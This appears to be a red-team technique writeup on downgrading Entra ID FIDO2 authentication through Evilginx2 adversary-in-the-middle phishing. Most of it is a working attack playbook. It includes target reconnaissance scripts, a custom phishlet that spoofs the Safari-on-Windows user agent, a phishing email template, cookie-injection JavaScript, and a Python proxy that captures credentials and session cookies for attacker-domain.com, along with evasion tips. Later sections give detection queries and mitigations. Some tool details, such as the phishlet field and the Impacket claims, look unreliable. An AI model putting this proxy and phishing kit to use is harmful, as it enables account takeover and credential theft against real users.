| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-009 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access / Persistence |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All Entra ID versions with fallback MFA enabled (default configuration) |
| Patched In | N/A - Requires policy-based mitigation, not a product vulnerability |
| Author | SERVTEP – Artur Pchelnikau |
Concept: FIDO2 downgrade attacks leverage a critical gap in browser support for passwordless authentication combined with fallback MFA mechanisms. Attackers employ custom Evilginx2 phishlets to spoof unsupported browser user agents (specifically Safari on Windows), causing Microsoft Entra ID to disable FIDO authentication and present an error. This forces users to authenticate using weaker, interceptable MFA methods (SMS codes, Microsoft Authenticator app, OTP) while the attacker sits in the middle capturing both credentials and session cookies. The captured session cookie is then imported into the attacker’s browser, bypassing the MFA challenge entirely and granting full account access. This attack chain—discovered by Proofpoint researchers in August 2025—demonstrates that despite FIDO’s cryptographic strength, implementation gaps in fallback flows enable account takeover when combined with AiTM phishing kits.
Attack Surface: Entra ID authentication endpoints, OAuth 2.0 /authorize flows, browser User-Agent header evaluation, fallback MFA options, session cookie handling.
Business Impact: Complete account compromise of any user targeted, including privileged accounts. Attackers gain persistent access without triggering MFA alerts, enabling data exfiltration, lateral movement, ransomware deployment, and business email compromise (BEC) attacks. Unlike traditional phishing, this attack bypasses the widely recommended “phishing-resistant” FIDO standard, creating false confidence in security posture.
Technical Context: The attack takes 2-5 minutes from phishing click to session cookie capture. Detection likelihood is Medium if monitoring browser/OS combinations and user agent mismatches, but Low if relying solely on conditional access or MFA logs. The attack leaves minimal forensic evidence in standard Entra ID logs because the victim’s credentials and second factor are legitimately validated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5, 6.6 | Multi-factor authentication controls and secure authentication practices not followed |
| DISA STIG | SI-2, IA-5 | Inadequate implementation of information system security; weak authenticator management |
| CISA SCuBA | AUTH.1 | Enforce FIDO2 without fallback to weaker methods |
| NIST 800-53 | IA-2, IA-5, IA-7 | Authentication strength, authenticator management, session management failures |
| GDPR | Art. 32 | Lack of appropriate technical/organizational measures for secure processing |
| DORA | Art. 9 | Protection of authentication systems; inadequate incident response |
| NIS2 | Art. 21 | Cybersecurity risk management measures; inadequate protective measures |
| ISO 27001 | A.9.2.3, A.9.4.3 | Privileged access rights management; access control for authenticated users |
| ISO 27005 | Risk Assessment | Compromise of critical authentication infrastructure; compromise of administration interface |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Connect to Entra ID
Connect-MgGraph -Scopes "User.Read.All","UserAuthenticationMethod.Read.All"
# Get user and check authentication methods
$userId = "victim@company.onmicrosoft.com"
$authMethods = Get-MgUserAuthenticationMethod -UserId $userId
# Filter for FIDO2
$fido2Methods = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "fido" }
if ($fido2Methods) {
Write-Host "User has FIDO2 registered" -ForegroundColor Green
$fido2Methods | Format-Table
} else {
Write-Host "User does NOT have FIDO2 registered" -ForegroundColor Red
}
# Check for fallback MFA methods
$fallbackMethods = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "microsoft|phone|software" }
Write-Host "Fallback methods available:" -ForegroundColor Yellow
$fallbackMethods | Format-Table AdditionalProperties
What to Look For:
#microsoft.graph.fido2AuthenticationMethod), this user is a potential target.microsoft.graph.microsoftAuthenticatorAuthenticationMethod, microsoft.graph.phoneAuthenticationMethod), the attack is highly viable.# Get all Conditional Access policies
Connect-MgGraph -Scopes "Policy.Read.All"
$policies = Get-MgIdentityConditionalAccessPolicy
# Check for policies that enforce device compliance or location restrictions
foreach ($policy in $policies) {
Write-Host "Policy: $($policy.DisplayName)" -ForegroundColor Cyan
if ($policy.Conditions.Devices.IncludeDevices -contains "All" -and $policy.GrantControls.BuiltInControls -contains "compliantDevice") {
Write-Host " ✓ Requires compliant device" -ForegroundColor Green
} else {
Write-Host " ✗ No device compliance required" -ForegroundColor Red
}
if ($policy.Conditions.Locations.IncludeLocations) {
Write-Host " ✓ Location-based restrictions active" -ForegroundColor Green
} else {
Write-Host " ✗ No location-based restrictions" -ForegroundColor Yellow
}
}
What to Look For:
compliantDevice or hybridJoinDevice, AiTM attacks are more likely to succeed.Supported Versions: All Entra ID versions with OAuth 2.0 support; works on Linux, macOS, Windows.
Objective: Deploy Evilginx2 AiTM proxy on external VPS to intercept authentication traffic.
Command (Linux / Debian-based):
# Install dependencies
sudo apt update && sudo apt install -y golang-go git
# Clone Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
# Build Evilginx2
make
# Verify installation
./evilginx2 -v
Expected Output:
Evilginx2 v3.3.1 - Phishing framework
(c) 2025 Kuba Gretzky
What This Means:
OpSec & Evasion:
mv evilginx2 systemd-network && ./systemd-network (not foolproof but adds friction to analysis).Troubleshooting:
failed to bind address: address already in use
sudo lsof -i :443 and kill the conflicting process, or use different ports and configure reverse proxy accordingly.certificate verification failed
A record points to VPS IP, use certbot for automatic Let’s Encrypt certificate provisioning.References & Proofs:
Objective: Develop a phishlet that spoofs Safari on Windows user agent to disable FIDO in Entra ID.
Phishlet Configuration (JSON - Custom Extension):
First, locate or create a custom phishlet. Evilginx2 phishlets are stored in phishlets/ directory:
# List available phishlets
./evilginx2 -h | grep -i phishlet
# Check O365 phishlet structure
cat phishlets/o365.json | head -50
Create a new phishlet: phishlets/o365_fido_downgrade.json
{
"name": "o365_fido_downgrade",
"author": "Attacker",
"source": "microsoft",
"phish_domain": "attacker-domain.com",
"domains": [
"login.microsoftonline.com",
"login.microsoft.com",
"account.microsoft.com"
],
"sub_domains": [""],
"paths": [
{
"path": "/",
"status": "ok"
},
{
"path": "/common/oauth2/v2.0/authorize",
"status": "ok"
}
],
"auth_tokens": [
{
"name": "session_id",
"extract": "cookie"
},
{
"name": "access_token",
"extract": "header"
}
],
"user_agent_spoof": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
}
Key Field: user_agent_spoof
What This Means:
OpSec & Evasion:
Troubleshooting:
phishlet parsing failed
user_agent_spoof field matches Safari on Windows exactly: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15References & Proofs:
Objective: Activate Evilginx2 listener and load the custom phishlet for active interception.
Command:
# Start Evilginx2 interactive console
sudo ./evilginx2 -p phishlets/
# Inside Evilginx2 console, load the phishlet
evilginx> phishlet load o365_fido_downgrade
# Get the phishing URL
evilginx> phishlet info o365_fido_downgrade
Expected Output:
[*] Phishlet: o365_fido_downgrade
[*] Domain: attacker-domain.com
[*] Phishing URL: https://attacker-domain.com/?type=login
[*] User-Agent Spoof: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
[+] Phishlet loaded successfully
What This Means:
attacker-domain.com are proxied to Microsoft’s legitimate login endpoints.OpSec & Evasion:
setcap for port 80/443 binding).netstat -tlnp | grep 443, ps aux | grep evilginx2../evilginx2 -p phishlets/ > /tmp/evilginx.log 2>&1 &.Troubleshooting:
permission denied binding to port 443
sudo or use setcap: sudo setcap cap_net_bind_service=ep ./evilginx2TLS handshake failed
sudo certbot certonly --standalone -d attacker-domain.com, ensure fullchain.pem and privkey.pem are accessible.References & Proofs:
Objective: Send phishing link to target user and intercept credentials + session cookie.
Phishing Delivery (Email):
Subject: Important: Verify Your Microsoft Account Security
Body:
Dear [User Name],
Due to recent security updates in our organization, please verify your account:
https://attacker-domain.com/?type=login
This action expires in 24 hours.
Best regards,
IT Security Team
Phishing Link Construction:
https://attacker-domain.com/?type=login&redirect=https://office.microsoft.com
Expected Flow:
Safari/Windows → disables FIDO.What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Use captured session cookie to impersonate victim without requiring MFA.
Attacker’s Browser Setup (Chrome/Edge):
Open Developer Tools (F12 → Console tab).
// Run in browser console after viewing Evilginx2 captured sessions
document.cookie = "session_id=<CAPTURED_SESSION_COOKIE>; domain=.microsoft.com; path=/; secure; samesite=none";
document.cookie = "access_token=<CAPTURED_ACCESS_TOKEN>; domain=.microsoft.com; path=/; secure; samesite=none";
Navigate to: https://outlook.office365.com
or
Navigate to: https://teams.microsoft.com
or
Navigate to: https://sharepoint.company.com (if federated)
Expected Output:
What This Means:
OpSec & Evasion:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 (if victim used Chrome).Troubleshooting:
References & Proofs:
Supported Versions: All Entra ID OAuth 2.0 implementations; requires Python 3.8+.
Note: This method documents programmatic equivalents for security professionals building detection rules.
Command:
# Install Python and dependencies
sudo apt install -y python3 python3-pip git
# Install Impacket and required libraries
pip3 install impacket requests urllib3 cryptography
# Clone Impacket for Azure AD exploitation tools
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && python3 setup.py install
Expected Output:
Successfully installed impacket-0.11.0
What This Means:
Python Script: fido_downgrade_proxy.py
#!/usr/bin/env python3
import requests
import http.server
import socketserver
import json
from urllib.parse import urlparse, parse_qs
import ssl
# Configuration
TARGET_DOMAIN = "login.microsoftonline.com"
PHISHING_DOMAIN = "attacker-domain.com"
FAKE_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
CAPTURED_SESSIONS = {}
class AiTMProxyHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
"""Intercept POST requests (credential submission, MFA responses)"""
content_length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_length)
# Log captured credentials
credentials = body.decode('utf-8')
print(f"[+] CAPTURED: {credentials[:100]}...")
# Proxy request to real Microsoft Entra ID with FIDO-disabling User-Agent
headers = dict(self.headers)
headers['User-Agent'] = FAKE_USER_AGENT # Spoof Safari on Windows
try:
response = requests.post(
f"https://{TARGET_DOMAIN}{self.path}",
data=body,
headers=headers,
verify=False
)
# Capture session cookie from response
if 'Set-Cookie' in response.headers:
session_cookie = response.headers['Set-Cookie']
CAPTURED_SESSIONS[credentials] = session_cookie
print(f"[+] CAPTURED SESSION COOKIE: {session_cookie[:50]}...")
# Send response back to victim
self.send_response(response.status_code)
for header, value in response.headers.items():
self.send_header(header, value)
self.end_headers()
self.wfile.write(response.content)
except Exception as e:
print(f"[-] Error proxying request: {e}")
self.send_error(500)
def do_GET(self):
"""Intercept GET requests (login page, redirects)"""
# Proxy GET request
headers = dict(self.headers)
headers['User-Agent'] = FAKE_USER_AGENT
try:
response = requests.get(
f"https://{TARGET_DOMAIN}{self.path}",
headers=headers,
verify=False
)
self.send_response(response.status_code)
for header, value in response.headers.items():
self.send_header(header, value)
self.end_headers()
self.wfile.write(response.content)
except Exception as e:
print(f"[-] Error proxying GET: {e}")
self.send_error(500)
if __name__ == "__main__":
# Start HTTPS proxy server
PORT = 443
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain("/etc/ssl/certs/fullchain.pem", "/etc/ssl/private/privkey.pem")
with socketserver.TCPServer(("0.0.0.0", PORT), AiTMProxyHandler) as httpd:
print(f"[*] AiTM Proxy listening on :{PORT}")
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
Expected Output:
[*] AiTM Proxy listening on :443
[+] CAPTURED: username=user%40company.onmicrosoft.com&password=P%40ssw0rd123&...
[+] CAPTURED SESSION COOKIE: session_id=XXXXXXXXX; Domain=.microsoft.com; Path=/; Secure; HttpOnly; SameSite=None
What This Means:
FAKE_USER_AGENT) forces Entra ID to disable FIDO.CAPTURED_SESSIONS dictionary.OpSec & Evasion:
pyarmor or similar).requests.Session() to maintain connection pooling and reduce detection.Troubleshooting:
Permission denied on port 443
sudo or forward port 443 traffic to port 8443 via iptables.SSL: CERTIFICATE_VERIFY_FAILED
fullchain.pem includes intermediate CA certificates.References & Proofs:
Version: 3.3.1 (latest as of August 2025)
Minimum Version: 3.0 (FIDO downgrade phishlet support)
Supported Platforms: Linux (primary), macOS, Windows (Cygwin/WSL2)
Version-Specific Notes:
user_agent_spoof field in phishletsInstallation (from Source):
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./evilginx2 -p phishlets/
Usage (Interactive Console):
phishlet load o365
phishlet info o365
phishlet enable o365
sessions
session [ID]
Version: 2.31.0+
Installation: pip3 install requests
Usage (AiTM Proxy Implementation):
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15'}
response = requests.post('https://login.microsoftonline.com/...', data=creds, headers=headers)
Rule Configuration:
KQL Query:
SigninLogs
| where resultType == 0 // Successful sign-ins only
| where isnotempty(userAgent)
| where isnotempty(sessionId)
| summarize
set_userAgent = make_set(userAgent),
set_location = make_set(location.countryOrRegion),
set_ipAddress = make_set(ipAddress),
count_attempts = count()
by sessionId, userId, createdDateTime
| where array_length(set_userAgent) > 1 // Same session ID but different user agents
| extend user_agent_changed = "YES"
| project
sessionId,
userId,
userAgents = set_userAgent,
locations = set_location,
ipAddresses = set_ipAddress,
count_attempts,
SuspiciousReason = "Same SessionId with different User-Agent values"
| where array_length(userAgents) >= 2
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect User-Agent Mismatch in SessionHigh10 minutes1 hourBy sessionId, userIdRule Configuration:
KQL Query:
SigninLogs
| where userAgent has "Safari" and userAgent has "Windows"
| where isnotempty(userId)
| project
TimeGenerated,
userId,
userPrincipalName,
userAgent,
ipAddress,
location,
appDisplayName,
ResultType,
SuspiciousIndicator = "Safari on Windows does not support FIDO2 - Likely AiTM attack"
| where ResultType == 0 // Only flag if authentication succeeded (token obtained)
What This Detects:
Manual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "SOC-RG"
$WorkspaceName = "Sentinel-WS"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Detect Safari on Windows - AiTM Indicator" `
-Query @"
SigninLogs
| where userAgent has "Safari" and userAgent has "Windows"
| where ResultType == 0
"@ `
-Severity "Critical" `
-Enabled $true
Alert Name: “User compromised via AiTM phishing”
Disable-MgUser -UserId <victimUPN>Revoke-MgUserSign -UserId <victimUPN>Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Identity AiTM Alerts
N/A - This is a cloud-only attack with no on-premises indicators. Entra ID logs in Azure, not Windows Event Log.
Alternative: Azure Audit Log (Entra ID AuditLogs):
Monitor for:
OperationName = "Sign-in activity" where resultType = 0 but authenticationMethodsUsed does NOT contain “Fido”errorCode = "50140" (FIDO not supported)Credentials:
Network:
Cloud Logs:
userAgent = Safari on WindowsCloud (Microsoft Entra ID):
SigninLogs table: Records of successful and failed authentications with User-Agent, IP, SessionId, MFA method usedAuditLogs table: MFA registration changes, authentication policy modificationsIdentityProtection risk events: detectino.riskDetectionType = "attackerInTheMiddle"SigninLogs | where sessionId == "<victim_session>"Email:
Attacker Infrastructure:
~/.evilginx2/sessions.json contains captured cookiesps aux | grep evilginx2# Disable victim user immediately
Disable-MgUser -UserId "victim@company.onmicrosoft.com"
# Revoke all sessions
Revoke-MgUserSign -UserId "victim@company.onmicrosoft.com"
# Export Entra ID sign-in logs
Connect-MgGraph -Scopes "AuditLog.Read.All"
$logs = Get-MgAuditLogSignIn -Filter "userId eq '<victim_id>'" -All
$logs | Export-Csv -Path "C:\Forensics\SigninLogs.csv"
# Export authentication methods
$authMethods = Get-MgUserAuthenticationMethod -UserId "victim@company.onmicrosoft.com"
$authMethods | Export-Csv -Path "C:\Forensics\AuthMethods.csv"
# Force password reset
$newPassword = ConvertTo-SecureString "TempP@ss123!Changed!" -AsPlainText -Force
Update-MgUser -UserId "victim@company.onmicrosoft.com" -PasswordProfile @{ForceChangePasswordNextSignIn=$true; Password=$newPassword}
# Re-register MFA
Remove-MgUserAuthenticationMethod -UserId "victim@company.onmicrosoft.com" -AuthenticationMethodId "<compromised_method_id>"
# Re-enable user after remediation
Update-MgUser -UserId "victim@company.onmicrosoft.com" -AccountEnabled $true
// Check for other compromised accounts using same phishing domain or attacker IP
SigninLogs
| where ipAddress == "<attacker_ip>"
| where createdDateTime > ago(7d)
| distinct userId, userPrincipalName, ipAddress, createdDateTime
1. Enforce FIDO2-Only Authentication for High-Value Users
Disable all fallback MFA methods for privileged accounts (global admins, security admins, Exchange admins).
Applies To: All Entra ID versions
Manual Steps (Azure Portal):
Privileged User Exclusion:
Enforce FIDO2 Only for AdminsValidation Command:
# Check if user is excluded from SMS-based MFA
$user = Get-MgUser -UserId "admin@company.onmicrosoft.com"
$authMethods = Get-MgUserAuthenticationMethod -UserId $user.Id
$authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "phone" }
# Should return EMPTY if mitigation is successful
2. Implement Conditional Access to Block Unsupported Browser/OS Combinations
Manual Steps (Azure Portal):
Block Safari on WindowsNote: Conditional Access does NOT support native User-Agent filtering; requires custom policy or WAF rules.
Alternative: Use Azure Front Door / API Management to filter requests:
- Name: Block Safari on Windows
Rule:
Match:
- Variable: RequestHeader User-Agent
Operator: Contains
Value: Safari/605
- Variable: RequestHeader User-Agent
Operator: Contains
Value: Windows
Action: Block
3. Require Device Compliance for All Authentication Attempts
Manual Steps (Azure Portal):
Require Compliant DeviceImpact: Users on unmanaged/personal devices cannot authenticate, even with valid credentials and MFA. This blocks AiTM attacks from attacker’s personal device.
Validation Command:
# Check if device compliance is enforced
$policies = Get-MgIdentityConditionalAccessPolicy
$policies | Where-Object { $_.DisplayName -match "Compliant" } | Select-Object DisplayName, GrantControls
4. Enforce Token Protection in Conditional Access (Preview)
Manual Steps (Azure Portal):
Enforce Token ProtectionNote: As of 2025-01, Token Protection only applies to token issuance, not session cookie validation. Limited effectiveness against AiTM.
5. Monitor and Alert on MFA Enrollment Changes
Manual Steps (Azure Portal - Configure Alert):
6. User Awareness Training
Implement mandatory training covering:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [REALWORLD-010] Safari Device Spoof | Attacker crafts Evilginx2 phishlet with Safari on Windows User-Agent |
| 2 | Social Engineering | Phishing email delivery | Target receives urgent-sounding email with phishing link |
| 3 | Credential Access | [REALWORLD-011] FIDO Unsupported Error | User-Agent causes Entra ID to disable FIDO and present error |
| 4 | MFA Downgrade | [REALWORLD-009] | User forced to use weaker MFA (SMS/Authenticator) instead of FIDO |
| 5 | Man-in-the-Middle | [REALWORLD-012] MFA Downgrade via AiTM + T1557 | AiTM proxy intercepts credentials, MFA codes, and session cookie |
| 6 | Session Hijacking | T1528 - Steal Session Cookie | Attacker imports stolen cookie into their browser |
| 7 | Persistence | T1098.005 - Register MFA Device | Attacker registers new MFA device (phone, security key) under victim’s account |
| 8 | Lateral Movement | T1534 - Spearphishing Campaign | Attacker sends internal emails from victim’s account to compromise other users |
| 9 | Impact | T1020 - Automated Exfiltration / T1486 Ransomware | Data theft or encryption |